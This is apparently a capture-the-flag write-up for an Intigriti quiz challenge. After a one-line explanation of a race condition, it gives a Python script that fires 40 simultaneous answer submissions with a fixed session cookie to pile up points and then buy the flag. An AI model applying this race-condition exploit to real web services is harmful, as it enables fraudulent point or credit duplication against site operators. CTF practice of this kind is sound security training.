its basically a race condtion where we can submit an answer multiple times simultaneously to get the required amount of points to buy the flag.```from multiprocessing.dummy import Pool as ThreadPoolimport requests
cookies = {    'connect.sid': 's%3AnnRHaf1b6sSp9X5EvB4MRWdEOMoy3dTr.G6%2B5ZGnaCDriHK5ozGxb%2B3FCoFjBs0ln9i7qcM3%2BGuw',}
headers = {    'Host': 'quiz.ctf.intigriti.io',    'Content-Length': '0',    'Sec-Ch-Ua': '" Not A;Brand";v="99", "Chromium";v="90"',    'Sec-Ch-Ua-Mobile': '?0',    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',    'Accept': '*/*',    'Origin': 'https://quiz.ctf.intigriti.io',    'Sec-Fetch-Site': 'same-origin',    'Sec-Fetch-Mode': 'cors',    'Sec-Fetch-Dest': 'empty',    'Referer': 'https://quiz.ctf.intigriti.io/welcome',    'Accept-Encoding': 'gzip, deflate',    'Accept-Language': 'en-US,en;q=0.9',    'Connection': 'close',}
json_data = {    'questionNumber': 1,    'answer': 'monthly',}def runner(d):    r1 = requests.post('https://quiz.ctf.intigriti.io/submitAnswer', headers=headers, cookies=cookies,json=json_data)    print(r1.text)pool = ThreadPool(40)result = pool.map_async( runner, range(40) ).get(0xffff)r2 = requests.get('https://quiz.ctf.intigriti.io/buyFlag', headers=headers, cookies=cookies)print(r2.text)```